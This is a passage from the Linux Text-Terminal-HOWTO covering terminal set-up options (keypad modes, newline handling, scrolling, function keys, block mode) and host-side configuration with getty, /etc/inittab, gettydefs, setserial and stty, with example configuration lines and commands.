The numeric keypad (the rectangle of mostly numeric keys to the right of the main part of the keyboard) can be set to send special codes which will do special things in certain application programs. Ditto for the arrow keys. There is thus a "normal" mode where they send what is shown on the keycap (or the normal code sequence for an arrow-key) and an "application" mode where special escape sequences are sent. In some cases there is a "hex" numeric mode which is almost like normal numeric mode except that 6 non-numeric keys send the letters A-F. Thus one may type for example "B36F" on the numeric keypad.

What does shifted-del and shifted-bs send?

Depending on how they're set up, shifted-del sometimes sends the control character CAN and shifted backspace sometimes sends DEL.

PC Scan Codes

Many terminals can emulate a PC keyboard by sending PC scancodes (see Keyboard-and-Console-HOWTO) instead of ASCII codes. This is mostly used with special Multiuser DOS OSs. It won't work with ordinary MS DOS. See Non-Linux OSs However, hardly any Linux programs that run via the serial port can accept scancodes. If this is the latest version of this HOWTO, let me know if any programs do this. I think Foxpro can do it. You need to define smsc and rmsc in the terminfo, and perhaps pctrm.

When using scancodes it's best to use hardware flow control since normal software flow control conflicts with some of the codes (??). If you do use software flow control, you must use the XPC type of flow control. It uses 0x65 and 0x67 for on and off characters. It must be set this way both in the terminal and by stty for the PC.

Alternate Characters

Some keys may have alternative letters on them. When keys is set to "Typewriter" they send what they would normally send on a typewriter. When keys is set to something else the alternative characters are sent.

13.12 Meaning of Received Control Codes

Auto New Line {Newline}

In this case "New Line" means a new line starting at the left margin below the current line. In Linux and C "new line" (NL) may have a different meaning: the line-feed control character LF also called new-line or NL. This is because in Linux text files, the LF character means a "new line starts here" so it's labeled NL. Normally, a LF (NL) sent to a terminal only results in the cursor jumping down one line below where is was and does not move the cursor back to the start of this "new line".

If Auto New Line is set, the above "normal" situation is canceled and a physical new line is created on the display upon receiving a LF from the host. This is exactly what one wants in Linux. Except that (when Auto New Line is set) the Return (or Enter) key sends a CR LF sequence to the host (for Wyse and VT100, but for VT420 ??). Since Linux uses LF as a "new line" marker in files, Linux would like only a LF to be sent (and not a CR LF). Thus the "New Line" option is seldom used. Instead, the required translations are made by the serial port device driver by default. It is as if one gave the command "stty onlcr icrnl". But you don't need to do this since it's the default.

Auto Line Feed {Rcv CR}

This is just another type of "Auto New Line". When a CR (carriage return) character is received, a LF (line feed) action is added resulting in a new line being displayed. Since Linux marks the end of lines with LF, this option is not used.

Recognize Del (Wyse Only ??) or Null

If off, the DEL character received by the terminal is ignored. If on the DEL performs a destructive backspace. Null characters are usually ignored in any case. Both DEL and NULL are sometimes used for padding. See Padding

13.13 Where New Text Goes

Line Wrap

Also called "Auto Wrap(around)". What happens when the right edge of the screen is reached (col. 80, etc) and no return character (or the like) has been sent from the host? If Line Wrap is set, then the rest of the line displays on the line below, etc. Otherwise, the rest of the line is lost and is not seen on the screen. Any good application should handle the situation correctly (provided the terminfo knows how Line Wrap is set). Thus even if Line Wrap is not set, the application should either wrap the screen for long lines or provide another way for you to view the cutoff tail of long lines (by use of the arrow keys, etc). But a raw copy command (and other situations) may not do this so it's often best to set line wrap.

For an 80 col. screen, most terminals only wrap if the 81st character from the host is a graphic (printable) character. This allows for the case where 81st character from the host might be "return" or a "newline" (non-graphic characters) which means that the application is handing the wrapping OK and intervention by the terminal is not needed.

Scrolling

Scrolling {Scrl} is where all the lines on the screen move up or down. Its also called "panning" which includes movement sideways. In ordinary scrolling lines roll off the bottom or top of the screen and disappear, and new lines from the host appear at the opposite edge (top or bottom). There are 3 types of this: smooth, jump, or burst. Burst is not really scrolling since its an instant replacement of an old screenfull by a new one (although some lines on the new screen may be from the old screen). Jump is where new lines jump into view one at a time. Smooth {Smth} is where the text moves at a steady speed upward or downward. If the smooth scroll rate is slow enough, one may read the newly visible lines when they are still scrolling (in motion).

Smooth scrolling on slow terminals was once useful since one could continue reading as the display was scrolling. But with higher baud rates, jump scroll is so fast that little time is lost as the new display appears. Since it takes a little longer to read scrolling text than fixed text, it may actually waste more time if smooth scrolling is selected.

If (auto)scrolling {Autoscrl} is disabled, then new text from the host must go somewhere so it is put at the top of the display. If the old text is not erased, the new text merges (nonsensically) into the old. If the old text is erased, then the new text is out of context. So keep (auto)scrolling enabled.

New Page?

See Pages and Pages for explanations of pages. When the current page is full (the last line is finished) should the page scroll, or should a new page be created (leaving the previous page stored in the terminal's display memory). If {Autopage} is set, then a new page is created. Since you are probably not using pages, you should probably set this to off.

13.14 Function Keys

These are the keys labeled F1, F2, etc. On older terminals they may be labeled PF1, PF2, etc. where the P stands for Programmable. Some keyboards have both. One may program (redefine) these keys to send out a string of user-defined bytes. They may often be easily "programmed" using a certain set-up menu {FKey}. On some terminals, one may also specify where this string is sent to when the key is pressed. In "normal" mode, pressing the key is just like typing the string at the keyboard. In "local" mode pressing the key sends it to the terminal (just like if the terminal was in local mode). This may be used to send escape sequences to the terminal so as to configure it in a special way. In "remote" mode, the string is always sent out the serial port to the host computer (even if the terminal is in local mode).

13.15 Block Mode Options

Some options are only for the case of Block Mode. This option is powerful since it provides forms and takes load off the host computer by transmitting in bursts. But it's more complicated to set up and is thus not used too much.

Forms Display

In block mode some regions of the screen are for the text of forms and are thus write-protected "Prot" {WPRT}. Options may set the characters in these regions to appear dim, reverse video {WPRT Rev}, and/or underlined {WPRT Undrln}. {WPRT Intensity} may be set to dim, normal, or even blank (invisible)

Send Entire Block ?

Should write-protected text (the original text in the form) be sent to the host upon transmission of a block: {Send All} or is write-protected text also read-protected: {Send Erasable}

Region to Send

Should the entire screen be sent or just the scrolling region? {Send Area}. Should the sending stop when the current cursor position is reached? If {Xfer Term} is set to Cursor, only the data on the screen up to the cursor is sent.

Block/Page terminator

What is the termination symbol to be appended to a block of data? {Blk End} or at the end of a page {Send Term}ination.

13.16 Locks

There are various types of Locks. One is the Locked keyboard due to flow control. See Keyboard Lock Another lock {Feature Lock} is that which prohibits the host computer from changing the terminal set-up by sending certain escape sequences to the terminal. Placing such a lock may result in unexpected behavior as application programs send escape sequences to the terminals that are ignored. Not all set-up parameters lock. Unless you have a good reason to do so, you should not enable such locking.

A Function Key lock will prohibit the computer from redefining what a programmable function key sends. You may want to use this if you have something important programmed into the function keys.

13.17 Screen Saver {Scrn Saver}

Also called "CRT Saver". This turns off (or dims) the screen after the terminal is not used for a period of time. It may prolong the life of the screen and save some energy. Hitting any key will usually restore the screen and may "execute" that key so it's best to hit the shift-key, etc.

13.18 Printer

For Wyse, if there is no {Printer Attached} set it to Off. It's not essential to do this, but if you do it any escape sequence to send text to the printer (instead of the terminal) will be ignored.

Setting up the printer port is about the same (usually simpler) as setting up the communications on the main port. There are a couple of options specific to the printer. Is the printer a serial or parallel printer? If it's parallel it should be designated as such in setup and connected to the parallel port on the terminal (if there is one). Should a FF (form feed) be sent to the printer at the end of a print job? If {Print Term} is set to FF, this will happen.


Text-Terminal-HOWTO: Computer Set-Up (Configure) Details

 Next Previous Contents

14. Computer Set-Up (Configure) Details

There are various files to edit to set up the computer for terminals. If you're lucky, you'll only need to edit /etc/inittab. One does this by editing at the console (or from any working terminal).

14.1 Getty (used in /etc/inittab)

Introduction to Getty

In order to have a login process run on a serial port (and the terminal connected to it) when the computer starts up (or switches run levels) a getty command must be put into the /etc/inittab file. Running getty from the command line may cause problems (see If getty run from command line: Programs get stopped to see why ). Getty GETs a TTY (a terminal) going. Each terminal needs its own getty command. There is also at least one getty command for the console in every /etc/inittab file. Find this and put the getty commands for the real terminals next to it. This file may contain sample getty lines for text terminals that are commented out so that all you need to do is to uncomment them (remove the leading #) and change a few arguments.

The arguments which are permitted depend on which getty you use:
Two gettys best for directly connected terminals are:

  1. agetty (sometimes just called getty): Very easy to set up. No config files. See agetty
  2. getty (part of getty_ps)
Two gettys best for modems (avoid for directly connected terminals) are:
  1. mgetty: the best one for modems; works for terminals too but inferior
  2. uugetty: for modems only; part of the getty_ps package
Simple gettys to use if you don't use a real text-terminal. Most Linux users use one of these at their monitor:
  1. mingetty
  2. fbgetty

Your Linux distribution may come with either ps_getty or agetty for text-terminals. Some distributions supply neither. Unfortunately, they often just call it "getty" so you may need to determine which one you have since the arguments you put after it in /etc/inittab differ. Debian uses agetty (in the util-linux package). RedHat uses ps_getty which was found at: http://www.redhat.com/swr/i386/getty_ps-2.0.7j-12.i386.html

As a last resort to try to determine which getty you have, you might check out its executable code (usually in /sbin). ps_getty has /etc/gettydefs embedded in this code. To search for it, go to /sbin and type:
strings getty | grep getty
If getty is actually agetty the above will result in nothing. However if you have agetty typing:
getty -h
should show the options [-hiLmw].

If you don't have the getty you want check other distributions and the alien program to convert between RPM and Debian packages. The source code may be downloaded from Getty Software.

If you are not using modem control lines (for example if you only use the minimum number of 3 conductors: transmit, receive, and common signal ground) you should let getty know this by using a "local" flag. The format of this depends on which getty you use.

Getty exits after login (and can respawn)

After you log in you will notice (by using "top", "ps -ax", or "ptree") that the getty process is no longer running. What happened to it? Why does getty restart again if your shell is killed? Here's why.

After you type in your user name, getty takes it and calls the login program telling it your user name. The getty process is replaced by the login process. The login process asks for your password, checks it and starts whatever process is specified in your password file. This process is often the bash shell. If so, bash starts and replaces the login process. Note that one process replaces another and that the bash shell process originally started as the getty process. The implications of this will be explained below.

Now in the /etc/inittab file getty is supposed to respawn (restart) if killed. It says so on the line that calls getty. But if the bash shell (or the login process) is killed, getty respawns (restarts). Why? Well, both the login process and bash are replacements for getty and inherit the signal connections establish by their predecessors. In fact if you observe the details you will notice that the replacement process will have the same process ID as the original process. Thus bash is sort of getty in disguise with the same process ID number. If bash is killed it is just like getty was killed (even though getty isn't running anymore). This results in getty respawning.

When one logs out, all the processes on that serial port are killed including the bash shell. This may also happen (if enabled) if a hangup signal is sent to the serial port by a drop of DCD voltage by the modem. Either the logout or drop in DCD will result in getty respawning. One may force getty to respawn by manually killing bash (or login) either by hitting the k key, etc. while in "top" or with the "kill" command. You will likely need to kill it with signal 9 (which can't be ignored).

If getty run from command line: Programs get stopped

You should normally run getty from inside /etc/inittab and not from the command line or else some programs running on the terminal may be unexpectedly suspended (stopped). Here's why (skip to the next section if the why is not important to you). If you start getty for say ttyS1 from the command line of another terminal, say tty1, then it will have tty1 as its "controlling terminal" even though the actual terminal it runs on is ttyS1. Thus it has the wrong controlling terminal. But if it's started inside the inittab file then it will have ttyS1 as the controlling terminal (correct).

Even though the controlling terminal is wrong, the login at ttyS1 works fine (since you gave ttyS1 as an argument to getty). The standard input and output are set to ttyS1 even though the controlling terminal remains tty11. Other programs run at ttyS1 may inherit this standard input/output (which is connected to ttyS1) and everything is OK. But some programs may make the mistake of trying to read from their controlling terminal (tty1) which is wrong. Now tty1 may think that these programs are being run in the background by tty1 so an attempt to read from tty1 (it should have been ttyS1) results in stopping the process that attempted to read. (A background process is not allowed to read from its controlling terminal.). You may see a message something like: "[1]+ Stopped" on the screen. At this point you are stuck since you can't interact with a process which is trying to communicate with you via the wrong terminal. Of course to escape from this you can go to another terminal and kill the process, etc.

agetty (may be named getty)

An example line in /etc/inittab:

S1:23:respawn:/sbin/getty -L 19200 ttyS1 vt102
S1 is from ttyS1. 23 means that getty is run upon entering run levels 2 or 3. respawn means that if getty (or a process that replaced it such as bash) is killed, getty will automatically start up (respawn) again. /sbin/getty is the getty command. The -L means Local (ignore modem control signals). -h (not shown in the example) enables hardware flow control (same as stty crtscts). 19200 is the baud rate. ttyS1 means /dev/ttyS1 (COM2 in MS-DOS). vt102 is the type of terminal and this getty will set the environment variable TERM to this value. There are no configuration files. Type "init q" on the command line after editing getty and you should see a login prompt.

Agetty's auto-detection of parity problems

The agetty program will attempt to auto-detect the parity set inside the terminal (including no parity). It doesn't support 8-bit data bytes plus 1-bit parity. See 8-bit data bytes (plus parity). If you use stty to set parity, agetty will automatically unset it since it initially wants the parity bit to come thru as if it was a data bit. This is because it needs to get the last bit (possibly a parity bit) as you type your login-name so that it can auto-detect parity. Thus if you use parity, enable it only inside the text-terminal and let agetty auto-detect it and set it at the computer. If your terminal supports received parity, the login prompt will look garbled until you type something so that getty can detect the parity. The garbled prompt will deter visitors, etc. from trying to login. That could be just what you want.

There is sometimes a problem with auto detection of parity. This happens because after you first type your login name, agetty starts the login program to finish logging you in. Unfortunately, the login program can't detect parity so if the getty program failed to determine the parity then login will not be able to determine it either. If the first login attempt fails, login will let you try again, etc. (all with the parity set wrong). Eventually, after a number of failed attempts to login (or after a timeout) agetty will start up again and start the login sequences all over again. Once getty is running again, it may be able to detect the parity on the second try so everything may then work OK.

With wrong parity, the login program can't correctly read what you type and you can't log in. If your terminal supports received parity, you will continue to see a garbled screen. If getty fails to detect parity an /etc/issue file is usually dumped to the screen just before the before the prompt, so more garbled words may appear on the screen.

Why can't agetty detect parity by the first letter typed? Here's an example: Suppose it detects an 8-bit byte with its parity bit 0 (high-order bit) and with an odd number of 1-bits. What parity is it? Well, the odd number of 1 bits implies that it's odd parity. But it could also just be an 8-bit character with no parity. There's no way so far to determine which. But so far we have eliminated the possibility of even parity. The detection of parity thus proceeds by a process of elimination.

If the next byte typed is similar to the first one and also only eliminates the possibility of even parity, it's still impossible to determine parity. This situation can continue indefinitely and in rare cases login will fail until you change your login-name. If agetty finds a parity bit of 1 it will assume that this is a parity bit and not a high-order bit of an 8-bit character. It thus assumes that you don't use meta-characters (high bit set) in your user name (i.e that your name is in ASCII).

One may get into a "login loop" in various ways. Suppose you only type a single letter or two for your login name and then hit return. If these letters are not sufficient for parity detection, then login runs before parity has been detected. Sometimes this problem happens if you don't have the terminal on and/or connected when agetty first starts up.

If you get stuck in this "login loop" a way out of it is to hit the return key several times until you get the getty login prompt. Another way is to just wait a minute or so for a timeout. Then the getty login prompt will be put on the screen by the getty program and you may try again to log in.

8-bit data bytes (plus parity)

Unfortunately, agetty can't detect this parity. As of late 1999 it has no option for disabling the auto-detection of parity and thus will detect incorrect parity. The result is that the login process will be garbled and parity will be set wrong. Thus it doesn't seem feasible to try to use 8-bit data bytes with parity.

getty (part of getty_ps)

(Most of this is from the old Serial-HOWTO by Greg Hankins)
For this getty one needs to both put entries in a configuration file and add an entry in /etc/inittab. Here are some example entries to use for your terminal that you put into the configuration file /etc/gettydefs.

# 38400 bps Dumb Terminal entry
DT38400# B38400 CS8 CLOCAL # B38400 SANE -ISTRIP CLOCAL #@S @L login: #DT38400

# 19200 bps Dumb Terminal entry
DT19200# B19200 CS8 CLOCAL # B19200 SANE -ISTRIP CLOCAL #@S @L login: #DT19200

# 9600 bps Dumb Terminal entry
DT9600# B9600 CS8 CLOCAL # B9600 SANE -ISTRIP CLOCAL #@S @L login: #DT9600

Note that the DT38400, DT19200, etc. are just labels and must be the same that you use in /etc/inittab.

If you want, you can make getty print interesting things in the login banner. In my examples, I have the system name and the serial line printed. You can add other things:

@B    The current (evaluated at the time the @B is seen) bps rate.
@D    The current date, in MM/DD/YY.
@L    The serial line to which getty is attached.
@S    The system name.
@T    The current time, in HH:MM:SS (24-hour).
@U    The number of currently signed-on users.  This is  a
      count of the number of entries in the /etc/utmp file
      that have a non-null ut_name field.
@V    The value of VERSION, as given in the defaults file.
To display a single '@' character, use either '\@' or '@@'.

When you are done editing /etc/gettydefs, you can verify that the syntax is correct by doing:

linux# getty -c /etc/gettydefs

Make sure there is no other getty or uugetty config file for the serial port that your terminal is attached to such as (/etc/default/{uu}getty.ttyS N or /etc/conf.{uu}getty.ttyS N), as this will probably interfere with running getty on a terminal. Remove such conflicting files if they exits.

Edit your /etc/inittab file to run getty on the serial port (substituting in the correct information for your environment - port, speed, and default terminal type):

S1:23:respawn:/sbin/getty ttyS1 DT9600 vt100
Restart init:
linux# init q

At this point, you should see a login prompt on your terminal. You may have to hit return to get the terminal's attention.

mgetty

The "m" stands for modem. This program is primarily for modems and as of mid 2000 it will require recompiling to use it for text-terminals (unless you use hardware flow control --and that usually requires a hand-made cable). For the documentation for directly connected terminals see the "Direct" section of the manual: mgetty.texi.

Look at the last lines of /etc/mgetty/mgetty.config for an example of configuring it for a terminal. Unless you say "toggle-dtr no" it will think that you have a modem and drop (negate) the DTR pin at the PC in a vain attempt to reset the non-existent modem. In contrast to other gettys, mgetty will not attach itself to a terminal until someone hits any key of that terminal so you'll see a ? for the terminal in top or ps until this happens. The logs in /var/log/mgetty/ may show a few warning messages which are only applicable to modems which you may ignore.

Here's an example of the simple line you put in /etc/inittab:

s1:23:respawn:/sbin/mgetty -r ttyS1

14.2 Stty & Setserial

There is both a "stty" command and a "setserial" command for setting up the serial ports. Some (or all) of the needed stty settings can be done via getty and there may be no need to use setserial so you may not need to use either command. These two commands (stty and setserial) set up different aspects of the serial port. Stty does the most while setserial configures the low-level stuff such as interrupts and port addresses. To "save" the settings, these commands must be written in certain files (shell scripts) which run each time the computer starts up. Distributions of Linux often supply a shell script which runs setserial but seldom supply one which runs stty since on seldom need it.

14.3 Setserial

This part is in 3 HOWTOs: Modem, Serial, and Text-Terminal. There are some minor differences, depending on which HOWTO it appears in.

Introduction

If you have a Laptop (PCMCIA) don't use setserial until you read Laptops: PCMCIA. setserial is a program which allows you to tell the device driver software the I/O address of the serial port, which interrupt (IRQ) is set in the port's hardware, what type of UART you have, etc. Since there's a good chance that the serial ports will be automatically detected and set, many people never need to use setserial. In any case setserial will not work without either serial support built into the kernel or loaded as a module. The module may get loaded automatically if you (or a script) tries to use setserial.

Setserial can also show how the driver is currently set. In addition, it can be made to probe the hardware I0 port addresses to try to determine the UART type and IRQ, but this has severe limitations. See Probing. Note that it can't set the IRQ or the port address in the hardware of PnP serial ports (but the plug-and-play features of the serial driver may do this). It can't read the PnP data stored in configuration registers in the hardware.

If you only have one or two built-in serial ports, they will usually get set up correctly without using setserial. Otherwise, if you add more serial ports (such as a modem card) you may need to deal with setserial. Besides the man page for setserial, check out info in /usr/doc/setserial.../ or /usr/share/doc/setserial. It should tell you how setserial is handled in your distribution of Linux.

Setserial is often run automatically at boot-time by a start-up shell-script for the purpose of assigning IRQs, etc. to the driver. Setserial will only work if the serial module is loaded (or if the equivalent was compiled into your kernel). If the serial module gets unloaded later on, the changes previously made by setserial will be forgotten by the kernel. But recent (2000) distributions may contain scripts that save and restore this. If not, then setserial must be run again to reestablish them. In addition to running via a start-up script, something akin to setserial also runs earlier when the serial module is loaded (or the like). Thus when you watch the start-up messages on the screen it may look like it ran twice, and in fact it has.

Setserial can set the time that the port will keep operating after it's closed (in order to output any characters still in its buffer in main RAM). This is needed at slow baud rates of 1200 or lower. It's also needed at higher speeds if there are a lot of "flow control" waits. See "closing_wait" in the setserial man page. If your serial port is Plug-and-Play you may need to consult other HOWTOs such as Plug-and-Play or Serial.

Setserial does not set either IRQ's nor I/O addresses in the serial port hardware itself. That is done either by jumpers or by plug-and-play. You must tell setserial the identical values that have been set in the hardware. Do not just invent some values that you think would be nice to use and then tell them to setserial. However, if you know the I/O address but don't know the IRQ you may command setserial to attempt to determine the IRQ.

You can see a list of possible commands by just typing setserial with no arguments. This fails to show you the one-letter options such as -v for verbose which you should normally use when troubleshooting. Note that setserial calls an IO address a "port". If you type:

setserial -g /dev/ttyS*
you'll see some info about how that device driver is configured for your ports. Note that where it says "UART: unknown" it probably means that no uart exists. In other words you probably have no such serial port and the other info shown about the port is meaningless and should be ignored. If you really do have such a serial port, setserial doesn't recognize it and that needs to be fixed.

If you add -a to the option -g you will see more info although few people need to deal with (or understand) this additional info since the default settings you see usually work fine. In normal cases the hardware is set up the same way as "setserial" reports, but if you are having problems there is a good chance that "setserial" has it wrong. In fact, you can run "setserial" and assign a purely fictitious I/O port address, any IRQ, and whatever uart type you would like to have. Then the next time you type "setserial ..." it will display these bogus values without complaint. They will also be officially registered with the kernel as displayed (at the top of the screen) by the "scanport" command. Of course the serial port driver will not work correctly (if at all) if you attempt to use such a port. Thus when giving parameters to "setserial" anything goes. Well almost. If you assign one port a base address that is already assigned (such as 3e8) it will not accept it. But if you use 3e9 it will accept it. Unfortunately 3e9 is already assigned since it is within the range starting at base address 3e8. Thus the moral of the story is to make sure your data is correct before assigning resources with setserial.

While assignments made by setserial are lost when the PC is powered off, a configuration file may restore them (or a previous configuration) when the PC is started up again. In newer versions, what you change by setserial may get automatically saved to a configuration file. In older versions, the configuration file only changes if you edit it manually so the configuration always remains the same from boot to boot. See Configuration Scripts/Files

Probing

Prior to probing with "setserial", one may run the "scanport" command to check all possible ports in one scan. It makes crude guesses as to what is on some ports but doesn't determine the IRQ. But it's a fast first start. It may hang your PC but so far it's worked fine for me.

With appropriate options, setserial can probe (at a given I/O address) for a serial port but you must guess the I/O address. If you ask it to probe for /dev/ttyS2 for example, it will only probe at the address it thinks ttyS2 is at (2F8). If you tell setserial that ttyS2 is at a different address, then it will probe at that address, etc. See Probing

The purpose of this is to see if there is a uart there, and if so, what its IRQ is. Use "setserial" mainly as a last resort as there are faster ways to attempt it such as wvdialconf to detect modems, looking at very early boot-time messages, or using pnpdump --dumpregs. To try to detect the physical hardware use for example :
setserial /dev/ttyS2 -v autoconfig
If the resulting message shows a uart type such as 16550A, then you're OK. If instead it shows "unknown" for the uart type, then there is supposedly no serial port at all at that I/O address. Some cheap serial ports don't identify themselves correctly so if you see "unknown" you still might have a serial port there.

Besides auto-probing for a uart type, setserial can auto-probe for IRQ's but this doesn't always work right either. In one case it first gave the wrong irq but when the command was repeated it found the correct irq. In versions of setserial >= 2.15, the results of your last probe test could be automatically saved and put into the configuration file /etc/serial.conf which will be used next time you start Linux. At boot-time when the serial module loads (or the like), a probe for UARTs is made automatically and reported on the screen. But the IRQs shown may be wrong. The second report of the same is the result of a script which usually does no probing and thus provides no reliable information as to how the hardware is actually set. It only shows configuration data someone wrote into the script or data that got saved in /etc/serial.conf.

It may be that two serial ports both have the same IO address set in the hardware. Of course this is not permitted but it sometimes happens anyway. Probing detects one serial port when actually there are two. However if they have different IRQs, then the probe for IRQs may show IRQ = 0. For me it only did this if I first used setserial to give the IRQ a fictitious value.

Boot-time Configuration

When the kernel loads the serial module (or if the "module equivalent" is built into the kernel) then only ttyS{0-3} are auto-detected and the driver is set to use only IRQs 4 and 3 (regardless of what IRQs are actually set in the hardware). You see this as a boot-time message just like as if setserial had been run.

To correct possible errors in IRQs (or for other reasons) there may be a file somewhere that runs setserial again. Unfortunately, if this file has some IRQs wrong, the kernel will still have incorrect info about the IRQs. This file should run early at boot-time before any process uses the serial port. In fact, your distribution may have set things up so that the setserial program runs automatically from a start-up script at boot-time. More info about how to handle this situation for your particular distribution might be found in file named "setserial..." or the like located in directory /usr/doc/ or /usr/share/doc/.

Before modifying a configuration file, you can test out a "proposed" setserial command by just typing it on the command line. In some cases the results of this use of setserial will automatically get saved in /etc/serial.conf when you shutdown. So if it worked OK (and solved your problem) then there's no need to modify any configuration file. See New configuration method using /etc/serial.conf.

Configuration Scripts/Files

Your objective is to modify (or create) a script file in the /etc tree that runs setserial at boot-time. Most distributions provide such a file (but it may not initially reside in the /etc tree). In addition, setserial 2.15 and higher often have an /etc/serial.conf file that is used by the above script so that you don't need to directly edit the script that runs setserial. In addition just using setserial on the command line (2.15+) may ultimately alter this configuration file.

So prior to version 2.15 all you do is edit a script. After 2.15 you may need to either do one of three things: 1. edit a script. 2. edit /etc/serial.conf or 3. run "setserial" on the command line which may result in /etc/serial.conf automatically being edited. Which one of these you need to do depends on both your particular distribution, and how you have set it up.

Edit a script (required prior to version 2.15)

Prior to setserial 2.15 (1999) there was no /etc/serial.conf file to configure setserial. Thus you need to find the file that runs "setserial" at boot time and edit it. If it doesn't exist, you need to create one (or place the commands in a file that runs early at boot-time). If such a file is currently being used it's likely somewhere in the /etc directory-tree. But Redhat <6.0 has supplied it in /usr/doc/setserial/ but you need to move it to the /etc tree before using it. You might use "locate" to try to find such a file. For example, you could type: locate "*serial*".

The script /etc/rc.d/rc.serial was commonly used in the past. The Debian distribution used /etc/rc.boot/0setserial. Another file once used was /etc/rc.d/rc.local but it's not a good idea to use this since it may not be run early enough. It's been reported that other processes may try to open the serial port before rc.local runs resulting in serial communication failure. Today it's most likely in /etc/init.d/ but it isn't normally intended to be edited.

If such a file is supplied, it should contain a number of commented-out examples. By uncommenting some of these and/or modifying them, you should be able to set things up correctly. Make sure that you are using a valid path for setserial, and a valid device name. You could do a test by executing this file manually (just type its name as the super-user) to see if it works right. Testing like this is a lot faster than doing repeated reboots to get it right.

For versions >= 2.15 (provided your distribution implemented the change, Redhat didn't) it may be more tricky to do since the file that runs setserial on startup, /etc/init.d/setserial or the like was not intended to be edited by the user. See New configuration method using /etc/serial.conf.

If you want setserial to automatically determine the uart and the IRQ for ttyS3 you would add something like:

/sbin/setserial  /dev/ttyS3 auto_irq skip_test autoconfig
Do this for every serial port you want to auto configure. Be sure to give a device name that really does exist on your machine. In some cases this will not work right due to the hardware. If you know what the uart and irq actually are, you may want to assign them explicitly with "setserial". For example:

/sbin/setserial /dev/ttyS3 irq 5 uart 16550A  skip_test

New configuration method using /etc/serial.conf

Prior to setserial version 2.15, the way to configure setserial was to manually edit the shell-script that ran setserial at boot-time. See Edit a script (after version 2.15: perhaps not). Starting with version 2.15 (1999) of setserial this shell-script is not edited but instead gets its data from a configuration file: /etc/serial.conf. Furthermore you may not even need to edit serial.conf because using the "setserial" command on the command line may automatically cause serial.conf to be edited appropriately.

This was intended so that you don't need to edit any file in order to set up (or change) what setserial does each time that Linux is booted. But there are serious pitfalls because it's not really "setserial" that edits serial.conf. Confusion is compounded because different distributions handle this differently. In addition, you may modify it so that it works differently.

What often happens is this: When you shut down your PC the script that runs "setserial" at boot-time is run again, but this time it only does what the part for the "stop" case says to do: It uses "setserial" to find out what the current state of "setserial" is, and it puts that info into the serial.conf file. Thus when you run "setserial" to change the serial.conf file, it doesn't get changed immediately but only when and if you shut down normally.

Now you can perhaps guess what problems might occur. Suppose you don't shut down normally (someone turns the power off, etc.) and the changes don't get saved. Suppose you experiment with "setserial" and forget to run it a final time to restore the original state (or make a mistake in restoring the original state). Then your "experimental" settings are saved.

If you manually edit serial.conf, then your editing is destroyed when you shut down because it gets changed back to the state of setserial at shutdown. There is a way to disable the changing of serial.conf at shutdown and that is to remove "###AUTOSAVE###" or the like from first line of serial.conf. In at least one distribution, the removal of "###AUTOSAVE###" from the first line is automatically done after the first time you shutdown just after installation. The serial.conf file should contain some comments to explain this.

The file most commonly used to run setserial at boot-time (in conformance with the configuration file) is now /etc/init.d/setserial (Debian) or /etc/init.d/serial (Redhat), or etc., but it should not normally be edited. For 2.15, Redhat 6.0 just had a file /usr/doc/setserial-2.15/rc.serial which you have to move to /etc/init.d/ if you want setserial to run at boot-time.

To disable a port, use setserial to set it to "uart none". The format of /etc/serial.conf appears to be just like that of the parameters placed after "setserial" on the command line with one line for each port. If you don't use autosave, you may edit /etc/serial.conf manually.

BUG: As of July 1999 there is a bug/problem since with ###AUTOSAVE### only the setserial parameters displayed by "setserial -Gg /dev/ttyS*" get saved but the other parameters don't get saved. Use the -a flag to "setserial" to see all parameters. This will only affect a small minority of users since the defaults for the parameters not saved are usually OK for most situations. It's been reported as a bug and may be fixed by now.

In order to force the current settings set by setserial to be saved to the configuration file (serial.conf) without shutting down, do what normally happens when you shutdown: Run the shell-script /etc/init.d/{set}serial stop. The "stop" command will save the current configuration but the serial ports still keep working OK.

In some cases you may wind up with both the old and new configuration methods installed but hopefully only one of them runs at boot-time. Debian labeled obsolete files with "...pre-2.15".

IRQs

By default, both ttyS0 and ttyS2 will share IRQ 4, while ttyS1 and ttyS3 share IRQ 3. But actually sharing serial interrupts (using them in running programs) is not permitted unless you: 1. have kernel 2.2 or better, and 2. you've complied in support for this, and 3. your serial hardware supports it. See Serial-HOWTO: Interrupt sharing and Kernels 2.2+.

If you only have two serial ports, ttyS0 and ttyS1, you're still OK since IRQ sharing conflicts don't exist for non-existent devices.

If you add an internal modem and retain ttyS0 and ttyS1, then you should attempt to find an unused IRQ and set it both on your serial port (or modem card) and then use setserial to assign it to your device driver. If IRQ 5 is not being used for a sound card, this may be one you can use for a modem. To set the IRQ in hardware you may need to use isapnp, a PnP BIOS, or patch Linux to make it PnP. To help you determine which spare IRQ's you might have, type "man setserial" and search for say: "IRQ 11".

Laptops: PCMCIA

If you have a Laptop, read PCMCIA-HOWTO for info on the serial configuration. For serial ports on the motherboard, setserial is used just like it is for a desktop. But for PCMCIA cards (such as a modem) it's a different story. The configuring of the PCMCIA system should automatically run setserial so you shouldn't need to run it. If you do run it (by a script file or by /etc/serial.conf) it might be different and cause trouble. The autosave feature for serial.conf shouldn't save anything for PCMCIA cards (but Debian did until 2.15-7). Of course, it's always OK to use setserial to find out how the driver is configured for PCMCIA cards.

14.4 Stty

Introduction

stty does much of the configuration of the serial port but since application programs (and the getty program) often handle it, you may not need to use it much. It's handy if you're having problems or want to see how the port is set up. Try typing ``stty -a'' at your terminal/console to see how it's now set. Also try typing it without the -a (all) for a short listing which shows how it's set different than normal. Don't try to learn all the setting unless you want to become a serial guru. Most of the defaults should work OK and some of the settings are needed only for certain obsolete dumb terminals made in the 1970's.

stty is documented in the man pages with a more detailed account in the info pages. Type "man stty" or "info stty".

Whereas setserial only deals with actual serial ports, stty is used both for serial ports and for virtual terminals such as the standard Linux text interface at a PC monitor. For the PC monitor, many of the stty settings are meaningless. Changing the baud rate, etc. doesn't appear to actually do anything.

Here are some of the items stty configures: speed (bits/sec), parity, bits/byte, # of stop bits, strip 8th bit?, modem control signals, flow control, break signal, end-of-line markers, change case, padding, beep if buffer overrun?, echo what you type to the screen, allow background tasks to write to terminal?, define special (control) characters (such as what key to press for interrupt). See the stty man or info page for more details. Also see the man page: termios which covers the same options set by stty but (as of mid 1999) covers features which the stty man page fails to mention. For use of some special characters see Special (Control) Characters

With some implementations of getty (getty_ps package), the commands that one would normally give to stty are typed into a getty configuration file: /etc/gettydefs. Even without this configuration file, the getty command line may be sufficient to set things up so that you don't need stty.

